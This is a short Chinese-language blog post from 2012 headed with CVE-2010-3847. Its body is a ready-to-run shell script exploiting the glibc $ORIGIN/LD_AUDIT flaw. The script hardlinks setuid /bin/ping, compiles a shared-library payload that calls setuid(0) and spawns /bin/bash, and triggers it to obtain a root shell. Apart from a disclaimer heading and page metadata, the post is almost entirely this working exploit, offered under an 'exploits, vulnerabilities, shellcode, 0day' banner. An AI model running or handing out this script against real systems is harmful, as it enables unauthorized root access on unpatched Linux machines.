[Exploits] glibc-exp.sh

作者:reistlin 发布时间:March 16, 2012 分类:自由点击

exploits.gif

exploits, vulnerabilities, shellcode, 0day :-)

CVE-2010-3847

[http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3847]

免责声明 (Statement of exemption from responsibility)

glibc-exp.sh

mkdir /tmp/exploit
ln /bin/ping /tmp/exploit/target
exec 3< /tmp/exploit/target
rm -rf /tmp/exploit
cat >> /tmp/payload.c <<EOF
void __attribute__((constructor)) init()
{
    setuid(0);
    system("/bin/bash");
}
EOF
gcc -w -fPIC -shared -o /tmp/exploit /tmp/payload.c
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3

标签: exploits

评论已关闭